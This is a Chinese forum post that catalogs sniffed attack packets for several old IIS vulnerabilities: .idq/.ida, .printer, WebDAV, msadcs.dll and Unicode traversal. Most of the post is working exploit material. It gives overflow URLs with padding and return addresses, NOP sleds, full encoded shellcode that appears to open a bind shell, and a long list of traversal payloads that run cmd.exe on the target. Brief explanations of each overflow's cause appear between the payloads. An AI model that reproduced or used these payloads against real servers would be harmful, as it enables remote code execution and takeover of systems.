论坛: 菜鸟乐园 标题: [原创]IIS缓冲区溢出漏洞攻击包内容测试及shellcode 复制本贴地址    
作者: bei [bei]    论坛用户   登录
          IIS缓冲区溢出漏洞攻击包内容测试及shellcode
测试几个iis缓冲区溢出漏洞。主要是通过在攻击主机安装sniffer,从而嗅探出攻击包的内容,得到各个域的内容,获得漏洞攻击的详细内容。包括请求的方法(比如GET,HEAD等);请求的内容,即url(比如/msadc/msadcs.dll等);请求的协议的版本号(比如HTTP/1.1);提交的元信息;攻击的shell;以及其他的HTTP消息头(比如:Accept,Host,Content-Type,Transfer-Encoding等等)。其中,与攻击最有关系的是,请求的方法、请求的内容和攻击的shell等,下面详细说明几个漏洞的攻击包内容:

测试的漏洞的名称:
1、 IDQ漏洞
2、 IDA漏洞
3、 .printer漏洞
4、 WebDAV漏洞
5、 msadcs.dll漏洞
6、 ActivePerl.dll漏洞
7、 ssinc.dll漏洞
8、 .htr漏洞
9、 IIS.asp漏洞


IDQ漏洞

(一)
1、 请求方法:
GET
2、 url:
/n.idq?snake_program_code0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123%u08eb%u8b03%u6840%udb33%uc303%ue00ff=b
注:其中214个填充,%u08eb之前,“=”之前的buffer大约240 bytes,
这样可以导致EIP被覆盖。
3、 http协议版本号:
HTTP / 1.0
4、 shell:
cmd.exe+++++++++  kernel32.dll+  TerminateProcess+ CreatePipe+ GetStartupInforA+ CreatePipeA+ PeekNamedPipe+ Globalalloc+ WriteFile++ ReadFile+ Sleep+ ExitProcessA+ GetLastError+ PuBlicateHandle+ GetCurrentProcess+ CloseHandle+ ws2_32.dll+  socket+ bind+ listen+ accept+ send+ recv+ setsockopt+ WSAStartup+ closesocket+    
5、 溢出原因:
微软的INDEX SERVER可以加快WEB的搜索能力,提供对管理员脚本和internet数据的查询,默认支持管理脚本.ida和查询脚本.idq,不过都是使用idq.dll来进行解析。不过其存在一个缓冲溢出,其中问题存在于idq.dll扩展程序上,由于没有对用户提交的输入参数据进行边界检查,可以导致远程攻击者利用溢出获得SYSTEM权利来访问远程系统。
6、 发生问题的域:
文件域发生溢出问题。
7、 所影响的操作系统和应用程序
Microsoft IIS 4.0
Microsoft IIS 5.0

(二)
1、 请求方法:
GET
2、 url
/query.idq?CiTemplate=../../../somefile.ext
3、 HTTP协议版本:
HTTP /1.0
4、 造成危害:
允许攻击者获得web服务器虚拟根目录所在逻辑磁盘分区上任何文件的读访问权限。
5、 发生错误原因:
idq.dll允许在任何指定的请求文件名中含有../字符串。虽然一些IDQ文件会在用户的输入后添加.htx后缀,但只要在请求的文件名后添加足够的空格就可以绕过这个限制,例如desiredfile.txt%20%20%20...%20%20.htx。不过攻击者必须知道请求文件名及其物理路径,同时这个文件还必须指定了允许匿名用户或Everyone组或Guest组的读权限。
8、 所影响的操作系统和应用程序
Microsoft IIS 4.0


IDA漏洞
    (一)
1、 请求方法:
GET
2、 url:
/NULL.ida?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=a
注:其中300个A
  3、http协议版本号:
HTTP /1.0

(二)
1、 请求方法:
GET 
2、 url:
/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcmd.exe$.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%ube22%u6e26CCCCCC%u0001%u0000CCCCCCCCCC%u492b%u77eo%u0001%u0001%u07eb%u8b58%u6e48%u61ff%ufff4%uffff=X
注:其中连续的A有1211个,连续的C有220个
3、 http协议版本:
HTTP /1.1
4、 HOST:
*.*.*.* (任意ip)

(简介同.idq漏洞)

.printer漏洞

(一)
1、 请求方式:
GET
2、 url:
/NULL.printer?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcmd.exe?
3、 http协议版本号:
HTTP /1.0
4、 host:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 8b 89 e6 77 90 90 90 90 ff 63 90 0d 0a 0d 0a 
注:以上都是ASCII码,个数要大于420个
5、 shell code:
shellcode[] = 
       "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90" 
       "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa" 
       "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36" 
       "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97" 
       "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14" 
       "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2" 
       "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14" 
       "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5" 
       "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1" 
       "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16" 
       "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68" 
       "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1" 
       "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94" 
       "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4" 
       "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68" 
       "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57" 
       "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4" 
       "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4" 
       "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5" 
       "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68" 
       "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67" 
       "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1" 
       "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf" 
       "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab" 
       "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0" 
       "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4" 
       "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0" 
       "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56" 
       "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7" 
       "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57" 
       "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4" 
       "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f" 
       "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7" 
       "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68" 
       "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f" 
       "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75" 
       "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0" 
       "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5" 
       "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2" 
       "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6" 
       "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97" 
       "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc" 
       "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb" 
       "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97" 
       "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2" 
       "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4" 
       "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97" 
       "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2" 
       "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97" 
       "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97" 
       "\x68\x68\x68\x68";
6、 原因:
默认情况下,IIS 5.0服务器存在一个后缀为\"printer\"的应用程序映射,这个映射使用位于\WINNT\System32\下的名为 msw3prt.dll 的动态库文件。这个功能是用于基于Web控制的网络打印的,是Windows2000为Internet Printing Protocol(IPP)协议而设置的应用程序功能。由于msw3prt.dll缺乏足够的缓冲区边界检查, 远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大 约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行 任意代码。,可以通过web获取服务器的管理权限。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应, 从而自动重启它,因此系统管理员很难意识到发生过攻击。
该漏洞不影响IIS4.0服务器。
7、发生问题的域:
host 域发生缓冲区溢出。
8、 受影响的系统: 
漏洞只存在运行IIS5.0的WIN2K服务器 
 

(二)
1、 请求方式:
GET 
2、 url:
/NULL.printer
3、 http协议版本:
HTTP /1.0
4、 shell code :
同上



WebDAV漏洞
(一)
1、 请求方式:
SEARCH
2、 url:
/
3、 HTTP 协议版本:
HTTP /1.1
4、 HOST:
*.*.*.* (任意ip)
注:如果服务器返回的数据中,第9、10、11字节为411,则有可能发生溢出,然后发出溢出包。
具体溢出包内容如下:
SEARCH /[ret][buf][jmp] HTTP/1.0\r\n
Host: ISNO\r\n
Content-Type: text/xml\r\n
Content-length: 40804\r\n\r\n
[NOP][Shellcode]
其中:
ret   =  "%u00d7%u00d7"  *  500;
buf   =  "A"  *  64502;
jmp  =  "BBBBBBBBBBqq";
qq   =  "\x71\x71"; 意思是 :jno xxxx
nop  =  "\x90" * 40000;
shellcode[]= "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90".
        "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa".
        "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36".
        "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97".
        "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14".
        "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2".
        "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14".
        "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5".
        "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1".
        "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16".
        "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68".
        "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1".
        "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94".
        "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4".
        "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68".
        "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57".
        "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4".
        "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4".
        "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5".
        "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68".
        "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67".
        "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1".
        "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf".
        "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab".
        "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0".
        "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4".
        "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0".
        "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56".
        "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7".
        "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57".
        "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4".
        "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f".
        "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7".
        "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68".
        "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f".
        "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75".
        "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0".
        "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5".
        "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2".
        "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6".
        "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97".
        "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc".
        "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb".
        "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97".
        "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2".
        "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4".
        "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97".
        "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2".
        "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97".
        "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97".
        "\x68\x68\x68\x68"

1、 溢出原因:
Microsoft IIS 5.0(Internet Infomation Server 5)是Microsoft Windows 2000自带的一个网络信息服务器,其中包含HTTP服务功能。IIS5.0 默认提供了对WebDAV的支持,通过WebDAV可以通过HTTP向用户提供远程文件存储的服务。IIS 5.0包含的WebDAV组件不充分检查传递给部分系统组件的数据,远程攻击者利用这个漏洞对WebDAV进行缓冲区溢出攻击,可能以WEB进程权限在系统上执行任意指令。IIS 5.0的WebDAV使用了ntdll.dll中的一些函数,而这些函数存在一个缓冲区溢出漏洞。通过对WebDAV的畸形请求可以触发这个溢出。利用这个漏洞可以获得LocalSystem权限。
整个漏洞的引用关系是这样的:
IIS->WebDav->kernel32!GetFileAttributesExW->ntdll!RtlDosPathNameToNtPathName_U(溢出)
其中GetFileAttributesExW是一个很常用的,用来得到文件属性的API函数,它的第一个参数是文件名。并且随后调用ntdll.dll中的RtlDosPathNameToNtPathName_U函数,来处理这个文件名。如果给一个超长的文件名,就会导致RtlDosPathNameToNtPathName_U函数中发生溢出。 这个溢出从本质上来说是一个短整型数溢出,而后导致了堆栈溢出。
注:最近出现的很多漏洞都是整数溢出引起的。
当我们对IIS发送如下请求就会触发溢出:
      SEARCH /[buffer(>65513 bytes)] HTTP/1.0
      其中IIS就把buffer前面加上几个字节的路径,然后作为文件名参数传给了GetFileAttributesExW,然后GetFileAttributesExW又把这个长字符串作为参数传给RtlDosPathNameToNtPathName_U,然后就溢出了。
2、 溢出域:
溢出域在文件域,即目的主机的地址后面直接跟的请求。

(二)
3、 请求方式:
OPTIONS
4、 url:
*
5、 http协议版本:
HTTP /1.0
6、 溢出包:
同上



msadcs.dll漏洞
(一)
1、 POST
2、 /msadc/msadcs.dll/ AdvancedDataFactory.Query
3、 HTTP/1.1

(二)
1、 请求方式:
GET
2、 url:
/msadc/..%252f..%252f../winnt/system32/cmd.exe?/c+dir+c:\
3、 HTTP协议版本:
HTTP /1.0

(三)
1、 请求方式:
POST
2、 url:
/msadc/msadcs.dll/AdvancedDataFactory.Execute
3、协议版本:
HTTP /1.1
4、 错原因:
此漏洞是因Windows NT 4.0 Option Pack中的组件MDAC(即Microsoft Data Access Components)引起的,它包含了一项RDS(Remote Data Service)的功能。RDS是Microsoft提供给使用者远程访问数据库的服务,它能够让使用者透过ODBC远程存取/查询服务器数据库中的数据信息,而在IIS服务器中,还能够让使用者通过一个位于/msadc虚拟目录内名为msadcs.dll的文件提供RDS服务,以便与远程使用者沟通。 MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。
如果你得到下面的信息:
application/x_varg
很有可能没有打上补丁并存在此漏洞
5、 出错的域:
msadcs.dll,也就是的二个域出错。

(四)
1、 求方式:
GET
2、url:
/msadc/msadcs.dll
3、http协议版本:
HTTP /1.0

注:msadcs.dll漏洞样本包:
/msadc/..%252f../..%252f../..%252f../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir
/msadc/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
/msadc/..%c0%2f../winnt/system32/cmd.exe?/c+dir
/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/msadc/..%c0%af../winnt/system32/cmd.exe?/c+dir
/msadc/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir
/msadc/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
/msadc/..%c1%9f../winnt/system32/cmd.exe?/c+dir
/msadc/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir
/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
/msadc/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir
/msadc/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
/msadc/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
/msadc/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir 
/msadc/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/msadc/..%%35%63../winnt/system32/cmd.exe?/c+dir
/msadc/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/msadc/..%%35c../winnt/system32/cmd.exe?/c+dir
/msadc/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir
/msadc/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir
/msadc/..%25%35%63../winnt/system32/cmd.exe?/c+dir
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/msadc/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/msadc/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
/msadc/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir
/msadc/..%255c../winnt/system32/cmd.exe?/c+dir
/msadc/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
/msadc/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir
/msadc/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
/exchange/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
/msadc/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
/MSADC/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
/msadc/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
/msadc/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir
/msadc/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir
/msadc/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir
/msadc/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir
/MSADC/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir
/MSADC/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
/msadc/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
/msadc/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
/msadc/..%u002f../winnt/system32/cmd.exe?/c+dir
/msadc/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
